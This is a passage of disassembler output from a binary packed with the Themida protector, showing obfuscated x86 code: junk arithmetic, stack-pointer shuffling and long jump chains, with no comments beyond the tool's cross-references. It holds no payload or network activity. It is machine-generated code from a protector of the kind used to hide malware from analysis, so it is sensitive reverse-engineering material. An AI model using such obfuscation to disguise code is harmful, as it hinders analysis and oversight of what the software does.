not si
jmp loc_58ADC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58BFAC: ; CODE XREF: sub_58EFBD-4C2Dj
mov esi, [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
and ebx, edx
push [esp-4+arg_0]
pop edx
add esp, 4
or ebx, ebx
jnz loc_58E9D8
push 7817h
jmp loc_58757A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58BFDD: ; CODE XREF: sub_585452+28D6j
mov ah, bh
mov ebx, [esp-4+arg_0]
jmp loc_58E8F7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_58DE21
; ---------------------------------------------------------------------------
loc_58C004: ; CODE XREF: Themida_:0058BE22j
pop eax
mov ch, bh
mov bx, [esp]
add esp, 2
jmp loc_584408
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C013: ; CODE XREF: sub_585452+52B8j
sub al, bl
pop ebx
mov ebx, [esp+8+var_8]
add esp, 4
push ecx
jmp loc_58B147
; ---------------------------------------------------------------------------
loc_58C022: ; CODE XREF: sub_585452+8951j
pop esi
sub edx, 309F3D87h
add edx, 0F43BC957h
add eax, edx
pop edx
or eax, 57DE534Bh
jmp loc_5852B9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58C03C: ; CODE XREF: sub_586A34+6B01j
mov eax, 5C843DC6h
jmp loc_5840B1
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
loc_58C046: ; CODE XREF: Themida_:00583C9Aj
sub esp, 4
jmp loc_588E4C
; ---------------------------------------------------------------------------
loc_58C04E: ; CODE XREF: Themida_:00586E1Ej
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58C060: ; CODE XREF: Themida_:0058F0A0j
shr si, 4
shr si, 5
add si, 6E9Eh
jmp loc_58F465
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58C072: ; CODE XREF: sub_587574+2164j
add esp, 4
sub [edi+24h], ecx
jmp loc_58663A
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C080: ; CODE XREF: sub_585452+4A0Aj
push 0
sub [esp+1Ah+var_1C+2], edi
pop edi
add edi, 2B7F9E77h
and eax, edi
mov edi, [esp+16h+var_18+2]
add esp, 4
or eax, eax
jz sub_58BCA7
push dword ptr [edi+1Ch]
push [esp+16h+var_18+2]
pop ecx
jmp loc_58FF5D
; ---------------------------------------------------------------------------
loc_58C0AE: ; CODE XREF: sub_585452+916Aj
xor eax, 0A8F66822h
jmp loc_589D81
; ---------------------------------------------------------------------------
loc_58C0B8: ; CODE XREF: sub_585452+8435j
xor eax, ebx
xor ebx, eax
xor eax, ebx
push ebx
jmp loc_5892F9
; ---------------------------------------------------------------------------
loc_58C0C4: ; CODE XREF: sub_585452+8FA9j
sub ebp, 4
xchg ebp, [esp+1Ah+var_1C+2]
jmp loc_5898F2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C0D2: ; CODE XREF: Themida_:0058958Aj
mov ebp, 6D00624Ch
push ebx
mov ebx, 3C2D7CB0h
shr ebx, 7
push 0
add dword ptr [esp], 737D3046h
sub [esp], ebx
sub dword ptr [esp], 737D3046h
pop ebx
push ebp
mov ebp, 5EB57869h
and ebx, ebp
pop ebp
sub ebx, 0E4DD508h
jmp loc_58571F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C10B: ; CODE XREF: sub_585452+5848j
push dword ptr [edi+1Ch]
jmp loc_58CB71
; ---------------------------------------------------------------------------
loc_58C113: ; CODE XREF: sub_585452+2C5Bj
mov [esp-6+arg_0+2], ecx
push esp
mov ecx, [esp+0]
add esp, 4
push edi
mov edi, 67D8666Dh
jmp loc_58C84B
; ---------------------------------------------------------------------------
loc_58C128: ; CODE XREF: sub_585452+A401j
pop esp
retn
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
jmp loc_587547
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C12F: ; CODE XREF: sub_585452-86Fj
add [esp-1Ch+arg_16+2], eax
sub [esp-1Ch+arg_16+2], 6801D10h
push ecx
mov ecx, 4F2B74B1h
sub [esp-18h+arg_16+2], ecx
jmp loc_584BCA
; ---------------------------------------------------------------------------
loc_58C148: ; CODE XREF: sub_585452+E7Aj
xchg esi, [esp+3Eh+var_40+2]
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58C150: ; CODE XREF: sub_589C10+459Aj
mov eax, 92EB8F7Bh
jmp loc_5894BF
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C15A: ; CODE XREF: sub_585452+8143j
mov edi, 31080007h
shr edi, 8
push ebp
mov ebp, 280E20ACh
inc ebp
xchg edi, ebp
inc edi
xchg edi, ebp
and ebp, 705F2F5Fh
push 0
sub [esp+46h+var_48+2], ebp
pop ebp
or ebp, 3F3704F1h
push ebx
mov ebx, 0E6E6FCDh
sub ebx, 0C684F09h
sub ebx, 4398572Eh
sub ebp, ebx
pop ebx
xor edi, ebp
pop ebp
add edi, 0BF2F0975h
push ecx
jmp loc_589820
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58C1A7: ; CODE XREF: sub_58960C+16j
mov esi, ebp
jmp loc_5851E0
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_58C1AE: ; CODE XREF: Themida_:0058AFC8j
mov [esp], eax
mov eax, 4E9D65FBh
inc eax
dec eax
xor eax, 4D1048DBh
mov edx, eax
pop eax
push edx
not dword ptr [esp]
pop edx
add edx, 1
push edi
mov edi, 7B390643h
sub edx, edi
jmp loc_58A21E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C1D5: ; CODE XREF: sub_585452-134j
add ecx, ebx
jmp loc_58DB1D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
push esp
pop edx
sub esp, 4
mov [esp], esi
push ecx
mov ecx, 0EB24694h
or ecx, 0A753E35h
not ecx
jmp loc_5891F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C1FC: ; CODE XREF: sub_585452+7742j
xor al, ch
pop ecx
push eax
mov eax, esp
add eax, 4
sub eax, 2
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], dx
jmp loc_58D2A7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C219: ; CODE XREF: Themida_:0058440Ej
add al, 0E5h
sub al, 4Bh
jmp loc_58CE02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C222: ; CODE XREF: sub_585452+5114j
mov ebx, 69990411h
add ebp, ebx
pop ebx
pop esi
jmp loc_58ACD5
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58C230 proc near ; CODE XREF: sub_585452+6A9j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00583F60 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00584BE8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005853D8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058665C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587263 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587326 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00587D3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005887CC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 00588D38 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00588E2F SIZE 00000001 BYTES
; FUNCTION CHUNK AT 005891D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005898BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589D65 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B5A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B82A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BAF8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058BD9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C2C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C8A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CC40 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D333 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D370 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D522 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D954 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058DA4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED45 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F2A6 SIZE 00000013 BYTES
push ebx
add [esp-4+arg_0], 772D3419h
pop ebp
sub ebp, 772D3419h
pop ebx
add [esp+4], ebp
jmp loc_58B5A5
sub_58C230 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C249: ; CODE XREF: sub_585452+8B99j
add esp, 4
pop eax
xor eax, 46E87530h
mov ebx, [esp+32h+var_34+2]
add esp, 4
jmp loc_589DBA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58C25D: ; CODE XREF: sub_58A170-5894j
sub al, ch
jmp loc_58FEA2
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_58C264: ; CODE XREF: Themida_:00586EECj
push edi
mov edi, esp
add edi, 4
jmp loc_58E1EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C272: ; CODE XREF: sub_585452+8C8Cj
mov [esp+2Eh+var_30+2], edx
push esp
push [esp+32h+var_34+2]
pop edx
add esp, 4
add edx, 4
add edx, 4
xor edx, [esp+2Eh+var_30+2]
xor [esp+2Eh+var_30+2], edx
xor edx, [esp+2Eh+var_30+2]
mov esp, [esp+2Eh+var_30+2]
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58C29A: ; CODE XREF: sub_58EA34-1A6Fj
cmp cx, ax
pushf
jmp loc_58FDB9
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
loc_58C2A3: ; CODE XREF: Themida_:00584D9Cj
mov dx, [esp]
add esp, 2
add al, bh
pop ebx
sub al, 5Ah
sub al, 41h
sub al, bl
sub esp, 2
mov [esp], bx
push ecx
push edx
mov dh, 0C3h
add dh, 8Ah
jmp loc_585B0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58C2C6: ; CODE XREF: sub_58C230-9F7j
mov ecx, [esp+0]
add esp, 4
jmp loc_58665C
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58C2D4: ; CODE XREF: Themida_:0058AD1Dj
mov [esp], bp
push si
jmp loc_58E487
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C2DF: ; CODE XREF: sub_585452+41B5j
pop eax
sub ecx, 4
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
pop esp
mov [esp+0], ebx
mov ebx, 4
jmp loc_58D166
; ---------------------------------------------------------------------------
loc_58C2FA: ; CODE XREF: sub_585452+71E5j
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mov ax, word ptr [esp-4+arg_0]
sub esp, 4
mov [esp+0], eax
push 2524h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop eax
jmp loc_589130
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58C31F proc near ; CODE XREF: sub_585452+2513j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058837B SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00589D89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B381 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C8DB SIZE 0000000B BYTES
push ebp
push eax
mov eax, 6FB63553h
jmp loc_58B381
sub_58C31F endp
; ---------------------------------------------------------------------------
loc_58C32B: ; CODE XREF: Themida_:0058E972j
mov [esp], ecx
push ebx
mov ebx, 4
mov ecx, ebx
pop ebx
add eax, ecx
pop ecx
jmp loc_586304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C33F: ; CODE XREF: sub_585452+8CB0j
shr eax, 5
shr eax, 1
jmp loc_589600
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C349: ; CODE XREF: Themida_:0058F3B1j
mov eax, [esp]
add esp, 4
sub bl, al
add bl, 2Bh
push ax
mov ah, 2Fh
jmp loc_584FD6
; ---------------------------------------------------------------------------
loc_58C360: ; CODE XREF: Themida_:00589B4Ej
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58C365: ; CODE XREF: sub_58EFBD-A734j
shl edi, 7
jmp loc_58FE97
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_58C36D: ; CODE XREF: sub_58DEA3+9j
and dl, 4Ch
inc dl
push edx
not byte ptr [esp+0]
pop edx
and dl, 31h
push ecx
mov cl, 0A2h
sub dl, cl
jmp loc_58477B
; END OF FUNCTION CHUNK FOR sub_58DEA3
; ---------------------------------------------------------------------------
loc_58C384: ; CODE XREF: Themida_:0058540Fj
pop esi
xor edx, 75F26208h
add edx, 690F7C31h
or edx, 54876853h
push ebx
mov ebx, 56E75108h
and ebx, 4AFD485Ch
jmp loc_58E65D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58C3A8: ; CODE XREF: sub_58A170-2CB4j
sub cl, 37h
sub cl, 87h
mov dh, cl
jmp loc_586F81
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_58C3B5: ; CODE XREF: Themida_:0058EE63j
sub ebx, 3BE75426h
jmp loc_58BDE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C3C0: ; CODE XREF: sub_585452+6019j
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp+6+var_8+2]
jmp loc_585CB3
; ---------------------------------------------------------------------------
loc_58C3D1: ; CODE XREF: sub_585452+1909j
pop esi
push eax
jmp sub_586A34
; ---------------------------------------------------------------------------
loc_58C3D8: ; CODE XREF: sub_585452+F1Dj
or eax, 78196740h
neg eax
jmp loc_58F50B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C3E4: ; CODE XREF: Themida_:0058E4CEj
add ebx, edx
add ebx, 4E0B7835h
jmp loc_58CB1F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C3F1: ; CODE XREF: sub_585452+312Dj
add esi, 27E80408h
add esi, edi
sub esi, 27E80408h
add esi, 0D920C8Ah
mov edi, [esp+4Ah+var_4C+2]
add esp, 4
jmp loc_587F85
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C413: ; CODE XREF: Themida_:00589D60j
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5875A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C424: ; CODE XREF: sub_585452-A6Aj
add esp, 4
push ebx
push esp
mov ebx, [esp+0]
add esp, 4
jmp sub_58A26F
; ---------------------------------------------------------------------------
loc_58C437: ; CODE XREF: sub_585452+3109j
add esi, 4
add esi, 4
xchg esi, [esp+56h+var_58+2]
pop esp
add edx, 2
xor edx, [esp+52h+var_54+2]
xor [esp+52h+var_54+2], edx
xor edx, [esp+52h+var_54+2]
pop esp
add bl, 4Ch
push ecx
push eax
mov ah, 58h
or ah, 0C1h
dec ah
inc ah
and ah, 35h
and ah, 7Eh
add ah, 9Fh
mov cl, ah
pop eax
push eax
push edx
mov dh, 8Dh
mov al, 0Ch
sub al, dh
mov edx, [esp+5Ah+var_5C+2]
add esp, 4
jmp loc_58E400
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
push 46AAh
jmp loc_5870D2
; ---------------------------------------------------------------------------
loc_58C48C: ; CODE XREF: Themida_:0058A0A8j
sub al, 0EEh
mov edx, [esp]
add esp, 4
add al, bl
push ecx
mov cl, 5Ah
push small 48D3h
mov [esp], ax
jmp loc_586E23
; ---------------------------------------------------------------------------
loc_58C4A6: ; CODE XREF: Themida_:005848E9j
sub al, 34h
mov edx, [esp]
push edx
jmp loc_58EB10
; ---------------------------------------------------------------------------
loc_58C4B1: ; CODE XREF: Themida_:00587A0Ej
sub edi, 75B66DE8h
pop ebp
add edi, 1D140815h
add edi, ebp
sub edi, 1D140815h
add edi, 757B2CD8h
jmp loc_5852BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C4D1: ; CODE XREF: sub_585452+2E4j
sub esi, 6D524E57h
add esi, ecx
add esi, 6D524E57h
pop ecx
push 6B7Eh
mov [esp+0Eh+var_10+2], esi
push [esp+0Eh+var_C+2]
pop esi
pop [esp+0Eh+var_10+2]
mov esp, [esp+0Ah+var_C+2]
jmp loc_586C81
; ---------------------------------------------------------------------------
loc_58C4F8: ; CODE XREF: sub_585452+494Dj
xchg edx, ebx
jmp loc_5863C4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C4FF: ; CODE XREF: Themida_:00587DC6j
sub edx, 5E5D69DAh
inc edx
add edx, 7330E42Fh
or esi, edx
pop edx
jmp loc_58654E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7441h
mov [esp], edx
jmp loc_58D31D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C525: ; CODE XREF: sub_585452-78Dj
mov dh, 0A3h
sub dh, 0E4h
or dh, 0F2h
add dh, 0C8h
add bl, dh
pop edx
add bl, 0F7h
pop cx
pop eax
movzx eax, al
jmp loc_586108
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C541: ; CODE XREF: Themida_:0058E153j
push esi
mov esi, 4
sub ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esi
push 0B57h
mov [esp], esp
jmp loc_58D7A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C560: ; CODE XREF: sub_585452-B5Ej
mov edi, 44815E6Eh
xor edi, 197C16F0h
sub eax, edi
pop edi
push edx
mov edx, 3B591359h
push 14E1h
mov [esp+0Ch+var_C], ebp
push esi
push 2A424DB8h
pop esi
neg esi
push eax
mov eax, 40710AECh
jmp loc_586617
; ---------------------------------------------------------------------------
loc_58C590: ; CODE XREF: sub_585452-1183j
xchg ecx, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], edi
mov edi, 22A44354h
push ebx
mov ebx, 42D67DA4h
jmp loc_585996
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5862E8
loc_58C5A7: ; CODE XREF: sub_5862E8+1j
mov ebp, 4
jmp loc_58BBA4
; END OF FUNCTION CHUNK FOR sub_5862E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58C5B1: ; CODE XREF: sub_58FA66-4405j
mov esi, 4
jmp loc_58E5D8
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58C5BB: ; CODE XREF: Themida_:0058711Bj
mov dl, 0C2h
jmp loc_5848E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C5C2: ; CODE XREF: sub_585452+A74Bj
add edi, ebx
pop ebx
push [esp-8+arg_4]
pop ebx
add esp, 4
jmp loc_584030
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58C5D1: ; CODE XREF: sub_58EFBD-200Cj
xor ebp, edx
jmp loc_58BF58
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_58C5D8: ; CODE XREF: sub_58405E+B16Aj
mov [esp+4+var_4], edx
push eax
push 147B19DAh
jmp loc_585041
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_58754C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C5EE: ; CODE XREF: sub_585452+8203j
xor ebp, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
jmp loc_588F34
; ---------------------------------------------------------------------------
loc_58C5F9: ; CODE XREF: sub_585452+A9CDj
push 6CCA520Dh
pop eax
or eax, 42D01D58h
shr eax, 1
jmp loc_588FC1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C60B: ; CODE XREF: Themida_:00588DC6j
shl ecx, 1
push 370Fh
mov [esp], ebx
push edx
mov edx, 33526CD0h
jmp loc_58F650
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58C620: ; CODE XREF: sub_58CA39-36E1j
sub edi, ebp
pop ebp
jmp loc_58EDAE
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C628: ; CODE XREF: sub_585452+A1ADj
pop ecx
sub esp, 4
mov [esp-0Ch+arg_8], edi
push dword ptr [esp+4]
pop edi
jmp loc_58C2FA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C63C: ; CODE XREF: Themida_:0058A16Bj
add ebx, ecx
pop ecx
sub eax, ebx
pop ebx
push 7211h
mov [esp], edx
push 10B31370h
pop edx
neg edx
or edx, 7132163Ch
shl edx, 8
push 597Ch
mov [esp], edi
jmp loc_5846FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C668: ; CODE XREF: sub_585452+10B0j
mov esi, [esp+32h+var_34+2]
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp+2Eh+var_30+2]
mov esp, [esp+2Eh+var_30+2]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58C682: ; CODE XREF: sub_585452+52Cj
add cl, 43h
mov dh, cl
pop ecx
add bl, dh
mov edx, [esp+42h+var_44+2]
add esp, 4
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_589307
; ---------------------------------------------------------------------------
loc_58C69B: ; CODE XREF: sub_585452+C91j
pop eax
push 3ECBh
mov [esp+12h+var_14+2], ecx
mov ecx, 4C5973ECh
sub ecx, 1D6B5EFBh
add ecx, 12675CCCh
shl ecx, 3
sub esp, 4
mov [esp+16h+var_18+2], esi
mov esi, 474B3E83h
sub esi, 7E453C65h
dec esi
jmp loc_587E1E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58C6D2: ; CODE XREF: sub_58CCD7+167Aj
add ecx, edi
sub ecx, 56A64F81h
jmp loc_588D99
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
loc_58C6DF: ; CODE XREF: Themida_:0058C9F5j
push ebx
mov bl, 0A3h
xor al, bl
pop ebx
push ebx
mov bl, al
mov dh, bl
jmp loc_586C9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C6EF: ; CODE XREF: sub_585452+6A10j
or dh, 2Bh
push eax
jmp loc_58AD95
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_58C6F8: ; CODE XREF: sub_58A5A3+7j
mov ecx, 4
add [esp+8+var_4], ecx
jmp loc_58D89A
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58C706: ; CODE XREF: sub_586A34-17F4j
xor eax, 7D146508h
and eax, 2BCE4F9Ah
inc eax
sub eax, 80BFFFDh
add esi, 531F687Dh
add esi, eax
sub esi, 531F687Dh
pop eax
push ebx
jmp loc_58DABD
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
loc_58C72B: ; CODE XREF: Themida_:0058B3DEj
mov edx, 467FFAh
jmp loc_58EA0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C735: ; CODE XREF: sub_585452+A962j
pop esi
push edx
not [esp-14h+arg_E+2]
pop edx
push ebx
jmp loc_58B687
; ---------------------------------------------------------------------------
loc_58C741: ; CODE XREF: sub_585452+7797j
xchg edx, [esp-14h+arg_E+2]
not edx
xchg edx, [esp-14h+arg_E+2]
mov edi, [esp-14h+arg_E+2]
add esp, 4
xchg edi, ebp
shr ebp, 2
neg ebp
sub ebp, 7AFA86B6h
add edx, ebp
mov ebp, [esp-18h+arg_12+2]
add esp, 4
push esi
jmp loc_58DD9C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C76D: ; CODE XREF: Themida_:00587BFBj
pop dword ptr [esp]
pop esp
inc word ptr [esp]
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_58FE8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C789: ; CODE XREF: sub_585452+9E17j
pop esi
sub ecx, 0A8900DCh
add eax, 4EDC34E2h
add eax, ecx
sub eax, 4EDC34E2h
mov ecx, [esp-1Ch+arg_16+2]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58A799
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C7B0: ; CODE XREF: Themida_:00584676j
pop ebp
sub ebp, 3DBB6B15h
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58D742
; ---------------------------------------------------------------------------
loc_58C7CE: ; CODE XREF: Themida_:0058FA33j
mov [esp], ebx
mov bl, 4Fh
push eax
mov al, 77h
mov dh, al
pop eax
sub dh, 5Fh
jmp loc_58675F
; ---------------------------------------------------------------------------
loc_58C7E1: ; CODE XREF: Themida_:0058D5FDj
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push 5974h
mov [esp], ecx
mov ecx, 2
sub edi, 7E077FE3h
add edi, ecx
push ebp
jmp loc_58796A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58C805: ; CODE XREF: sub_58EFBD-FC9j
shl eax, cl
push 67EDh
mov [esp+8+var_8], edi
mov edi, 0FFFFFFFFh
sub eax, 49C06FBAh
jmp loc_58FE90
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58C81E: ; CODE XREF: Themida_:00587159j
add cl, 0FCh
shl cl, 8
add cl, 0FFh
push edx
jmp loc_58F9E4
; ---------------------------------------------------------------------------
loc_58C82D: ; CODE XREF: Themida_:00589EADj
xor ecx, 75303D9Dh
xor ecx, 34E3C7E9h
jmp loc_58ECE8
; ---------------------------------------------------------------------------
loc_58C83E: ; CODE XREF: Themida_:0058CA73j
push ecx
mov ecx, 1E2042F0h
or eax, ecx
jmp loc_587CD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C84B: ; CODE XREF: sub_585452+6CD1j
and edi, 31EE3E13h
push edx
mov edx, 28946BD8h
jmp loc_58E0B2
; ---------------------------------------------------------------------------
loc_58C85C: ; CODE XREF: sub_585452+26F9j
mov [esp-20h+arg_1A+2], ebp
mov ebp, 1EEA12DBh
add ebx, 7D6959C0h
sub ebx, 48EA3C04h
sub ebx, ebp
add ebx, 48EA3C04h
sub ebx, 7D6959C0h
pop ebp
push 2484h
jmp loc_58FD7F
; ---------------------------------------------------------------------------
loc_58C889: ; CODE XREF: sub_585452+4FBFj
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
add ebx, 4
xchg ebx, [esp+6+var_8+2]
pop esp
xor edx, 6CB04AF4h
jmp loc_584802
